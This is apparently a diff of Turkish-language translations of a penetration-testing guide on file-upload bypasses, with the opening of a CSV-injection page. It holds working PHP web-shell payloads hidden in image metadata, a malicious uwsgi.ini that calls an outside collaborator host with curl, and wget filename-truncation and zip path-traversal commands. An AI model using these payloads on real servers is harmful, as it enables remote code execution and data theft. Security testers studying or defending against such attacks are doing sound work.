python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
# Yükü oluşturun
|
||||
@ -63,21 +63,21 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
|
||||
- **Content-Type** kontrollerini atlamak için **Content-Type** **başlığının** **değerini** ayarlayın: _image/png_, _text/plain_, application/octet-stream_
|
||||
1. Content-Type **kelime listesi**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- **Sihirli numara** kontrolünü atlamak için dosyanın başına **gerçek bir resmin** **baytlarını** ekleyin ( _file_ komutunu karıştırın). Ya da shell'i **meta veriler** içine yerleştirin:\
|
||||
- **Sihirli numara** kontrolünü atlamak için dosyanın başına **gerçek bir görüntünün** **baytlarını** ekleyin ( _file_ komutunu karıştırın). Veya **metadata** içine shell ekleyin:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` veya yükü doğrudan bir resme de **yerleştirebilirsiniz**:\
|
||||
`\` veya yükü doğrudan bir görüntüye de **ekleyebilirsiniz**:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- Eğer resminize **sıkıştırma ekleniyorsa**, örneğin bazı standart PHP kütüphaneleri kullanarak [PHP-GD](https://www.php.net/manual/fr/book.image.php), önceki teknikler işe yaramayabilir. Ancak, sıkıştırmayı **hayatta tutacak** bazı metin eklemek için **PLTE parçası** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
|
||||
- Eğer görüntünüze **sıkıştırma** ekleniyorsa, örneğin bazı standart PHP kütüphaneleri kullanılarak [PHP-GD](https://www.php.net/manual/fr/book.image.php), önceki teknikler işe yaramayacaktır. Ancak, **sıkıştırmayı** **hayatta tutacak** bazı metin eklemek için **PLTE chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
|
||||
- [**Kod ile Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- Web sayfası ayrıca resmi **yeniden boyutlandırıyor** olabilir; örneğin PHP-GD fonksiyonları `imagecopyresized` veya `imagecopyresampled` kullanarak. Ancak, sıkıştırmayı **hayatta tutacak** bazı metin eklemek için **IDAT parçası** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
|
||||
- Web sayfası ayrıca görüntüyü **yeniden boyutlandırıyor** olabilir, örneğin PHP-GD fonksiyonları `imagecopyresized` veya `imagecopyresampled` kullanarak. Ancak, **sıkıştırmayı** **hayatta tutacak** bazı metin eklemek için **IDAT chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
|
||||
- [**Kod ile Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- Resim **yeniden boyutlandırmayı** **hayatta tutacak** bir yük oluşturmak için başka bir teknik, PHP-GD fonksiyonu `thumbnailImage` kullanmaktır. Ancak, sıkıştırmayı **hayatta tutacak** bazı metin eklemek için **tEXt parçası** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
|
||||
- Bir görüntü **yeniden boyutlandırmayı** **hayatta tutacak** bir yük oluşturmak için başka bir teknik, PHP-GD fonksiyonu `thumbnailImage` kullanmaktır. Ancak, **sıkıştırmayı** **hayatta tutacak** bazı metin eklemek için **tEXt chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
|
||||
- [**Kod ile Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### Diğer Kontrol Edilecek Hileler
|
||||
|
||||
- Yüklenmiş dosyanın adını **değiştirmek** için bir zafiyet bulun (uzantıyı değiştirmek için).
|
||||
- **Yerel Dosya Dahil Etme** zafiyetini bulmak, arka kapıyı çalıştırmak için.
|
||||
- Geri kapıyı çalıştırmak için bir **Yerel Dosya Dahil Etme** zafiyeti bulun.
|
||||
- **Olası Bilgi sızıntısı**:
|
||||
1. **Aynı dosyayı** **birden fazla kez** (ve **aynı anda**) **aynı isimle** yükleyin.
|
||||
2. **Zaten var olan** bir **dosya** veya **klasör** adıyla bir dosya yükleyin.
|
||||
@ -85,20 +85,20 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
4. **NTFS**'te kolayca silinmeyen bir dosya yükleyin, örneğin **“…:.jpg”**. (Windows)
|
||||
5. **Windows**'ta adında **geçersiz karakterler** içeren bir dosya yükleyin, örneğin `|<>*?”`. (Windows)
|
||||
6. **Windows**'ta **rezerv** (**yasaklı**) **adlar** içeren bir dosya yükleyin, örneğin CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 ve LPT9.
|
||||
- Ayrıca, **bir yürütülebilir dosya** (.exe) veya **.html** (daha az şüpheli) yüklemeyi deneyin; bu dosya, kurban tarafından yanlışlıkla açıldığında **kod çalıştıracaktır**.
|
||||
- Ayrıca, **kurban tarafından yanlışlıkla açıldığında** **kod çalıştıracak** bir **.exe** veya daha az şüpheli bir **.html** yüklemeyi de deneyin.
|
||||
|
||||
### Özel uzantı hileleri
|
||||
|
||||
Eğer bir **PHP sunucusuna** dosya yüklemeye çalışıyorsanız, [kod çalıştırmak için **.htaccess** hilesine bir göz atın](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
Eğer bir **ASP sunucusuna** dosya yüklemeye çalışıyorsanız, [kod çalıştırmak için **.config** hilesine bir göz atın](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
`.phar` dosyaları, Java için `.jar` gibi, ancak PHP için olup, **bir php dosyası gibi kullanılabilir** (php ile çalıştırarak veya bir script içinde dahil ederek...)
|
||||
`.phar` dosyaları, Java için `.jar` gibi, ancak PHP için kullanılabilir ve **bir php dosyası gibi** kullanılabilir (php ile çalıştırarak veya bir script içinde dahil ederek...)
|
||||
|
||||
`.inc` uzantısı bazen yalnızca **dosya içe aktarmak** için kullanılan php dosyaları için kullanılır, bu nedenle bir noktada, biri **bu uzantının çalıştırılmasına izin vermiş olabilir**.
|
||||
`.inc` uzantısı bazen yalnızca **dosya içe aktarmak** için kullanılan php dosyaları için kullanılır, bu nedenle bir noktada, birisi **bu uzantının çalıştırılmasına** izin vermiş olabilir.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
Eğer bir XML dosyasını Jetty sunucusuna yükleyebilirseniz, [**yeni \*.xml ve \*.war otomatik olarak işlenir**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Bu nedenle, aşağıdaki resimde belirtildiği gibi, XML dosyasını `$JETTY_BASE/webapps/` dizinine yükleyin ve shell'i bekleyin!
|
||||
Eğer bir Jetty sunucusuna bir XML dosyası yükleyebilirseniz, [**yeni \*.xml ve \*.war otomatik olarak işlenir**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Bu nedenle, aşağıdaki resimde belirtildiği gibi, XML dosyasını `$JETTY_BASE/webapps/` dizinine yükleyin ve shell'i bekleyin!
|
||||
|
||||
.png>)
|
||||
|
||||
@ -106,9 +106,9 @@ Eğer bir XML dosyasını Jetty sunucusuna yükleyebilirseniz, [**yeni \*.xml ve
|
||||
|
||||
Bu zafiyetin detaylı bir keşfi için orijinal araştırmaya bakın: [uWSGI RCE İstismarı](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Uzak Komut Yürütme (RCE) zafiyetleri, `.ini` yapılandırma dosyasını değiştirme yeteneğine sahip olan uWSGI sunucularında istismar edilebilir. uWSGI yapılandırma dosyaları, "sihirli" değişkenleri, yer tutucuları ve operatörleri dahil etmek için belirli bir sözdizimi kullanır. Özellikle, `@(filename)` olarak kullanılan '@' operatörü, bir dosyanın içeriğini dahil etmek için tasarlanmıştır. uWSGI'de desteklenen çeşitli şemalar arasında, "exec" şeması özellikle güçlüdür; bir sürecin standart çıktısından veri okumaya olanak tanır. Bu özellik, bir `.ini` yapılandırma dosyası işlendiğinde, Uzak Komut Yürütme veya Rastgele Dosya Yazma/Okuma gibi kötü niyetli amaçlar için manipüle edilebilir.
|
||||
Uzak Komut Yürütme (RCE) zafiyetleri, `.ini` yapılandırma dosyasını değiştirme yeteneğine sahip olan uWSGI sunucularında istismar edilebilir. uWSGI yapılandırma dosyaları, "sihirli" değişkenleri, yer tutucuları ve operatörleri dahil etmek için belirli bir sözdizimi kullanır. Özellikle, `@(filename)` olarak kullanılan '@' operatörü, bir dosyanın içeriğini dahil etmek için tasarlanmıştır. uWSGI'de desteklenen çeşitli şemalar arasında, "exec" şeması özellikle güçlüdür ve bir sürecin standart çıktısından veri okumaya olanak tanır. Bu özellik, bir `.ini` yapılandırma dosyası işlendiğinde, Uzak Komut Yürütme veya Rastgele Dosya Yazma/Okuma gibi kötü niyetli amaçlar için manipüle edilebilir.
|
||||
|
||||
Aşağıdaki zararlı `uwsgi.ini` dosyası örneğini düşünün; çeşitli şemaları göstermektedir:
|
||||
Aşağıdaki örnekte, çeşitli şemaları gösteren zararlı bir `uwsgi.ini` dosyası düşünün:
|
||||
```ini
|
||||
[uwsgi]
|
||||
; read from a symbol
|
||||
@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
Yükün yürütülmesi, yapılandırma dosyasının ayrıştırılması sırasında gerçekleşir. Yapılandırmanın etkinleştirilmesi ve ayrıştırılması için, uWSGI süreci ya yeniden başlatılmalı (potansiyel olarak bir çökme sonrası veya bir Hizmet Reddi saldırısı nedeniyle) ya da dosya otomatik yeniden yükleme ayarına getirilmelidir. Otomatik yeniden yükleme özelliği, etkinleştirildiğinde, değişiklikleri tespit ettiğinde dosyayı belirli aralıklarla yeniden yükler.
|
||||
Yükleme işlemi, yapılandırma dosyasının ayrıştırılması sırasında gerçekleşir. Yapılandırmanın etkinleştirilmesi ve ayrıştırılması için, uWSGI süreci ya yeniden başlatılmalı (potansiyel olarak bir çökme sonrası veya bir Hizmet Reddi saldırısı nedeniyle) ya da dosya otomatik yeniden yükleme moduna ayarlanmalıdır. Otomatik yeniden yükleme özelliği, etkinleştirildiğinde, değişiklikleri tespit ettiğinde dosyayı belirli aralıklarla yeniden yükler.
|
||||
|
||||
uWSGI'nin yapılandırma dosyası ayrıştırmasının gevşek doğasını anlamak çok önemlidir. Özellikle, tartışılan yük bir ikili dosyaya (örneğin bir resim veya PDF) yerleştirilebilir ve bu da potansiyel istismar kapsamını daha da genişletir.
|
||||
uWSGI'nin yapılandırma dosyası ayrıştırmasının gevşek doğasını anlamak çok önemlidir. Özellikle, tartışılan yük, bir ikili dosyaya (örneğin bir resim veya PDF) yerleştirilebilir ve potansiyel istismar kapsamını daha da genişletebilir.
|
||||
|
||||
## **wget Dosya Yükleme/SSRF Hilesi**
|
||||
|
||||
Bazı durumlarda, bir sunucunun **`wget`** kullanarak **dosya indirdiğini** ve **URL'yi** **belirtebileceğinizi** görebilirsiniz. Bu durumlarda, kod indirilen dosyaların uzantısının yalnızca izin verilen dosyaların indirileceğini sağlamak için bir beyaz liste içinde olup olmadığını kontrol ediyor olabilir. Ancak, **bu kontrol atlatılabilir.**\
|
||||
**linux**'ta bir **dosya adı** için **maksimum** uzunluk **255** karakterdir, ancak **wget** dosya adlarını **236** karaktere kadar kısaltır. **"A"\*232+".php"+".gif"** adında bir dosya **indirebilirsiniz**, bu dosya adı **kontrolü atlatacaktır** (bu örnekte **".gif"** geçerli bir uzantıdır) ancak `wget` dosyayı **"A"\*232+".php"** olarak **yeniden adlandıracaktır**.
|
||||
Bazı durumlarda, bir sunucunun **`wget`** kullanarak **dosya indirdiğini** ve **URL'yi** **belirleyebileceğinizi** görebilirsiniz. Bu durumlarda, kod indirilen dosyaların uzantısının yalnızca izin verilen dosyaların indirileceğinden emin olmak için bir beyaz liste içinde olup olmadığını kontrol ediyor olabilir. Ancak, **bu kontrol atlatılabilir.**\
|
||||
**linux**'ta bir **dosya adı** için **maksimum** uzunluk **255** karakterdir, ancak **wget** dosya adlarını **236** karakterle kısaltır. **"A"\*232+".php"+".gif"** adında bir dosya **indirebilirsiniz**, bu dosya adı **kontrolü atlatacaktır** (bu örnekte **".gif"** geçerli bir uzantıdır) ancak `wget` dosyayı **"A"\*232+".php"** olarak **yeniden adlandıracaktır**.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -156,13 +156,13 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
Not edin ki **başka bir seçenek** bu kontrolü atlamak için **HTTP sunucusunun farklı bir dosyaya yönlendirilmesi** olabilir, böylece başlangıç URL'si kontrolü atlayacak ve wget yönlendirilmiş dosyayı yeni adıyla indirecektir. Bu **çalışmayacak** **eğer** wget **parametre** `--trust-server-names` ile kullanılmıyorsa çünkü **wget yönlendirilmiş sayfayı orijinal URL'de belirtilen dosya adıyla indirecektir**.
|
||||
Not edin ki **başka bir seçenek** bu kontrolü atlamak için **HTTP sunucusunun farklı bir dosyaya yönlendirilmesi** olabilir, böylece başlangıç URL'si kontrolü atlayacak ve wget yönlendirilmiş dosyayı yeni adıyla indirecektir. Bu **çalışmayacak** **eğer** wget **parametre** `--trust-server-names` ile kullanılmıyorsa çünkü **wget, yönlendirilmiş sayfayı orijinal URL'de belirtilen dosya adıyla indirecektir**.
|
||||
|
||||
## Araçlar
|
||||
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) dosya yükleme mekanizmalarını test etmek için Pentester'lar ve Hata Avcıları'na yardımcı olmak üzere tasarlanmış güçlü bir araçtır. Çeşitli hata ödül tekniklerini kullanarak zafiyetleri tanımlama ve istismar etme sürecini basitleştirir, web uygulamalarının kapsamlı değerlendirmelerini sağlar.
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) dosya yükleme mekanizmalarını test etmek için Pentesterlar ve Hata Avcıları'na yardımcı olmak üzere tasarlanmış güçlü bir araçtır. Çeşitli hata ödül tekniklerini kullanarak, güvenlik açıklarını tanımlama ve istismar etme sürecini basitleştirir, web uygulamalarının kapsamlı değerlendirmelerini sağlar.
|
||||
|
||||
## Dosya yüklemeden diğer zafiyetlere
|
||||
## Dosya yüklemeden diğer güvenlik açıklarına
|
||||
|
||||
- **filename**'i `../../../tmp/lol.png` olarak ayarlayın ve bir **path traversal** elde etmeye çalışın.
|
||||
- **filename**'i `sleep(10)-- -.jpg` olarak ayarlayın ve bir **SQL injection** elde edebilirsiniz.
|
||||
@ -173,10 +173,10 @@ Not edin ki **başka bir seçenek** bu kontrolü atlamak için **HTTP sunucusunu
|
||||
- [**XXE svg yüklemede**](../xxe-xee-xml-external-entity.md#svg-file-upload).
|
||||
- [**Open Redirect** svg dosyası yükleyerek](../open-redirect.md#open-redirect-uploading-svg-files).
|
||||
- [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) adresinden **farklı svg payload'ları** deneyin.
|
||||
- [Ünlü **ImageTrick** zafiyeti](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/).
|
||||
- Eğer **web sunucusunu bir URL'den resim yakalamaya yönlendirebilirseniz**, bir [SSRF](../ssrf-server-side-request-forgery/index.html) istismar etmeye çalışabilirsiniz. Eğer bu **resim** bazı **kamusal** bir sitede **kaydedilecekse**, [https://iplogger.org/invisible/](https://iplogger.org/invisible/) adresinden bir URL belirtebilir ve **her ziyaretçinin bilgilerini çalabilirsiniz**.
|
||||
- [**XXE ve CORS** bypass PDF-Adobe yüklemesi ile](pdf-upload-xxe-and-cors-bypass.md).
|
||||
- Özel olarak hazırlanmış PDF'ler ile XSS: [Aşağıdaki sayfa **PDF verilerini enjekte ederek JS yürütme** elde etmenin nasıl olduğunu sunmaktadır](../xss-cross-site-scripting/pdf-injection.md). Eğer PDF yükleyebilirseniz, verilen talimatları takip ederek rastgele JS yürütecek bazı PDF'ler hazırlayabilirsiniz.
|
||||
- [Ünlü **ImageTrick** güvenlik açığı](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/).
|
||||
- Eğer **web sunucusuna bir URL'den bir resmi yakalamasını** belirtebiliyorsanız, bir [SSRF](../ssrf-server-side-request-forgery/index.html) istismar etmeye çalışabilirsiniz. Eğer bu **resim** bazı **kamusal** sitelerde **kaydedilecekse**, [https://iplogger.org/invisible/](https://iplogger.org/invisible/) adresinden bir URL belirtebilir ve **her ziyaretçinin bilgilerini çalabilirsiniz**.
|
||||
- [PDF-Adobe yüklemesi ile **XXE ve CORS** atlatma](pdf-upload-xxe-and-cors-bypass.md).
|
||||
- XSS için özel olarak hazırlanmış PDF'ler: [Aşağıdaki sayfa, **PDF verilerini enjekte ederek JS yürütme** elde etmenin nasıl olduğunu sunmaktadır](../xss-cross-site-scripting/pdf-injection.md). Eğer PDF yükleyebiliyorsanız, verilen talimatları takip ederek rastgele JS yürütecek bazı PDF'ler hazırlayabilirsiniz.
|
||||
- \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) içeriğini yükleyerek sunucunun herhangi bir **antivirüs** programı olup olmadığını kontrol edin.
|
||||
- Dosya yüklerken herhangi bir **boyut limiti** olup olmadığını kontrol edin.
|
||||
|
||||
@ -190,7 +190,7 @@ Not edin ki **başka bir seçenek** bu kontrolü atlamak için **HTTP sunucusunu
|
||||
6. **AVI**: LFI / SSRF
|
||||
7. **HTML / JS** : HTML enjeksiyonu / XSS / Açık yönlendirme
|
||||
8. **PNG / JPEG**: Piksel sel saldırısı (DoS)
|
||||
9. **ZIP**: LFI üzerinden RCE / DoS
|
||||
9. **ZIP**: LFI / DoS üzerinden RCE
|
||||
10. **PDF / PPTX**: SSRF / KÖR XXE
|
||||
|
||||
#### Burp Eklentisi
|
||||
@ -208,11 +208,11 @@ Diğer dosya türleri için [https://en.wikipedia.org/wiki/List_of_file_signatur
|
||||
|
||||
## Zip/Tar Dosyası Otomatik Olarak Açılan Yükleme
|
||||
|
||||
Eğer sunucu içinde açılacak bir ZIP yükleyebilirseniz, 2 şey yapabilirsiniz:
|
||||
Eğer sunucu içinde açılacak bir ZIP yükleyebiliyorsanız, 2 şey yapabilirsiniz:
|
||||
|
||||
### Symlink
|
||||
|
||||
Diğer dosyalara soft linkler içeren bir bağlantı yükleyin, ardından açılan dosyalara erişerek bağlı dosyalara erişeceksiniz:
|
||||
Diğer dosyalara soft linkler içeren bir bağlantı yükleyin, ardından açılan dosyalara erişerek bağlı dosyalara erişebilirsiniz:
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
@ -220,7 +220,7 @@ tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### Farklı klasörlerde aç
|
||||
|
||||
Açma işlemi sırasında dizinlerde beklenmedik dosya oluşturulması önemli bir sorundur. Bu yapılandırmanın, kötü niyetli dosya yüklemeleri yoluyla OS düzeyinde komut yürütmeye karşı koruma sağlayacağına dair ilk varsayımlara rağmen, ZIP arşiv formatının hiyerarşik sıkıştırma desteği ve dizin geçiş yetenekleri istismar edilebilir. Bu, saldırganların kısıtlamaları aşmasına ve hedef uygulamanın açma işlevselliğini manipüle ederek güvenli yükleme dizinlerinden çıkmasına olanak tanır.
|
||||
Açma işlemi sırasında dizinlerde beklenmedik dosyaların oluşturulması önemli bir sorundur. Bu yapılandırmanın, kötü niyetli dosya yüklemeleri yoluyla OS düzeyinde komut yürütmeye karşı koruma sağlayacağına dair ilk varsayımlara rağmen, ZIP arşiv formatının hiyerarşik sıkıştırma desteği ve dizin geçiş yetenekleri istismar edilebilir. Bu, saldırganların kısıtlamaları aşmasına ve hedef uygulamanın açma işlevselliğini manipüle ederek güvenli yükleme dizinlerinden çıkmasına olanak tanır.
|
||||
|
||||
Bu tür dosyaları oluşturmak için otomatik bir istismar [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) adresinde mevcuttur. Araç aşağıdaki gibi kullanılabilir:
|
||||
```python
|
||||
@ -251,9 +251,9 @@ create_zip()
|
||||
```
|
||||
**Sıkıştırmayı kötüye kullanarak dosya yayma**
|
||||
|
||||
Daha fazla bilgi için **orijinal gönderiyi kontrol edin**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
Daha fazla detay için **orijinal gönderiyi kontrol edin**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
1. **PHP Shell Oluşturma**: PHP kodu, `$_REQUEST` değişkeni aracılığıyla geçirilen komutları çalıştırmak için yazılmıştır.
|
||||
1. **PHP Shell Oluşturma**: PHP kodu, `$_REQUEST` değişkeni aracılığıyla geçirilen komutları çalıştırmak için yazılır.
|
||||
|
||||
```php
|
||||
<?php
|
||||
@ -291,27 +291,27 @@ pop graphic-context
|
||||
|
||||
Bir PNG dosyasının IDAT parçasına PHP shell gömmek, belirli görüntü işleme işlemlerini etkili bir şekilde atlatabilir. PHP-GD'den `imagecopyresized` ve `imagecopyresampled` fonksiyonları, sırasıyla görüntüleri yeniden boyutlandırma ve yeniden örnekleme için yaygın olarak kullanıldığından, bu bağlamda özellikle önemlidir. Gömülü PHP shell'in bu işlemlerden etkilenmeden kalabilme yeteneği, belirli kullanım durumları için önemli bir avantajdır.
|
||||
|
||||
Bu tekniğin metodolojisi ve potansiyel uygulamaları hakkında detaylı bir keşif, aşağıdaki makalede sağlanmıştır: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Bu kaynak, sürecin ve sonuçlarının kapsamlı bir anlayışını sunmaktadır.
|
||||
Bu tekniğin detaylı bir keşfi, metodolojisi ve potansiyel uygulamaları ile ilgili bilgi aşağıdaki makalede sağlanmıştır: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Bu kaynak, sürecin ve sonuçlarının kapsamlı bir anlayışını sunmaktadır.
|
||||
|
||||
Daha fazla bilgi için: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
## Poliglot Dosyalar
|
||||
|
||||
Poliglot dosyalar, siber güvenlikte benzersiz bir araç olarak hizmet eder ve birden fazla dosya formatında geçerli bir şekilde var olabilen kamuflajlar gibi davranır. İlginç bir örnek, hem GIF hem de RAR arşivi olarak işlev görebilen bir [GIFAR](https://en.wikipedia.org/wiki/Gifar)dır. Bu tür dosyalar bu eşleşme ile sınırlı değildir; GIF ve JS veya PPT ve JS gibi kombinasyonlar da mümkündür.
|
||||
Poliglot dosyalar, siber güvenlikte benzersiz bir araç olarak hizmet eder ve birden fazla dosya formatında geçerli bir şekilde var olabilen kamuflajlar gibidir. İlginç bir örnek, hem GIF hem de RAR arşivi olarak işlev görebilen bir [GIFAR](https://en.wikipedia.org/wiki/Gifar)dır. Bu tür dosyalar bu eşleşme ile sınırlı değildir; GIF ve JS veya PPT ve JS gibi kombinasyonlar da mümkündür.
|
||||
|
||||
Poliglot dosyaların temel yararı, dosyaları türüne göre tarayan güvenlik önlemlerini aşabilme yetenekleridir. Çeşitli uygulamalarda yaygın uygulama, potansiyel olarak zararlı formatların (örneğin, JS, PHP veya Phar dosyaları) riskini azaltmak için yalnızca belirli dosya türlerinin yüklenmesine izin vermektir—JPEG, GIF veya DOC gibi. Ancak, bir poliglot, birden fazla dosya türünün yapısal kriterlerine uyarak bu kısıtlamaları gizlice aşabilir.
|
||||
|
||||
Uyum sağlama yeteneklerine rağmen, poliglotlar sınırlamalarla karşılaşabilir. Örneğin, bir poliglot aynı anda bir PHAR dosyasını (PHp ARchive) ve bir JPEG'i barındırabilirken, yükleme başarısı platformun dosya uzantısı politikalarına bağlı olabilir. Sistem, izin verilen uzantılar konusunda katıysa, bir poliglotun yalnızca yapısal ikiliği, yüklenmesini garanti etmek için yeterli olmayabilir.
|
||||
Uyum sağlama yeteneklerine rağmen, poliglotlar sınırlamalarla karşılaşabilir. Örneğin, bir poliglot aynı anda bir PHAR dosyasını (PHp ARchive) ve bir JPEG'i barındırabilirken, yükleme başarısı platformun dosya uzantısı politikalarına bağlı olabilir. Sistem, izin verilen uzantılar konusunda katıysa, bir poliglotun yalnızca yapısal ikiliği, yüklemesini garanti etmek için yeterli olmayabilir.
|
||||
|
||||
Daha fazla bilgi için: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
### Geçerli JSON'ları PDF gibi yükleme
|
||||
|
||||
Bir PDF dosyası gibi davranarak geçerli bir JSON dosyasını yükleyerek dosya türü tespitlerinden nasıl kaçınılır ( **[bu blog yazısından](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)** teknikler):
|
||||
Geçerli bir JSON dosyasını yükleyerek dosya türü tespitlerinden nasıl kaçınılır, PDF dosyası taklidi yaparak (**[bu blog yazısından](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)** teknikleri):
|
||||
|
||||
- **`mmmagic` kütüphanesi**: `%PDF` sihirli baytları ilk 1024 baytta bulunduğu sürece geçerlidir (örneği yazıdan al)
|
||||
- **`mmmagic` kütüphanesi**: İlk 1024 baytta `%PDF` sihirli baytları varsa geçerlidir (örneği yazıdan al)
|
||||
- **`pdflib` kütüphanesi**: JSON'un bir alanına sahte bir PDF formatı ekleyerek kütüphanenin bunun bir pdf olduğunu düşünmesini sağla (örneği yazıdan al)
|
||||
- **`file` ikili**: Bir dosyadan 1048576 bayta kadar okuyabilir. Sadece bunun üzerinde bir JSON oluşturun, böylece içeriği JSON olarak ayrıştıramaz ve ardından JSON'un içine gerçek bir PDF'nin başlangıç kısmını koyun, böylece bunun bir PDF olduğunu düşünecektir.
|
||||
- **`file` ikili**: Bir dosyadan 1048576 bayta kadar okuyabilir. Sadece bunun üzerinde bir JSON oluştur, böylece içeriği JSON olarak ayrıştıramaz ve ardından JSON'un içine gerçek bir PDF'nin başlangıç kısmını koy, böylece bunun bir PDF olduğunu düşünecektir.
|
||||
|
||||
## Referanslar
|
||||
|
||||
|
||||
@ -6,10 +6,10 @@
|
||||
|
||||
### Bilgi
|
||||
|
||||
Eğer **girdi** **CSV dosyası** içinde **yansıtılıyorsa** (veya muhtemelen **Excel** tarafından açılacak başka bir dosya), kullanıcı **dosyayı açtığında** veya kullanıcı **excel sayfasındaki bazı bağlantılara tıkladığında** **çalıştırılacak** Excel **formülleri** ekleyebilirsiniz.
|
||||
Eğer **girdi** **CSV dosyası** içinde **yansıtılıyorsa** (veya muhtemelen **Excel** tarafından açılacak başka bir dosya), kullanıcı **dosyayı açtığında** veya kullanıcı excel sayfasındaki bazı **bağlantılara tıkladığında** **çalıştırılacak** Excel **formülleri** ekleyebilirsiniz.
|
||||
|
||||
> [!CAUTION]
|
||||
> Günümüzde **Excel, dışarıdan bir şey yüklendiğinde** **kullanıcıyı uyarır** (birkaç kez) ve bu, kötü niyetli eylemleri önlemek içindir. Bu nedenle, son yükleme için Sosyal Mühendislik üzerine özel bir çaba sarf edilmelidir.
|
||||
> Günümüzde **Excel, dışarıdan bir şey yüklendiğinde** **kullanıcıyı uyarır** (birkaç kez) ve bu, kötü niyetli eylemleri önlemek içindir. Bu nedenle, son yük üzerinde Sosyal Mühendislik konusunda özel bir çaba sarf edilmelidir.
|
||||
|
||||
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
|
||||
```
|
||||
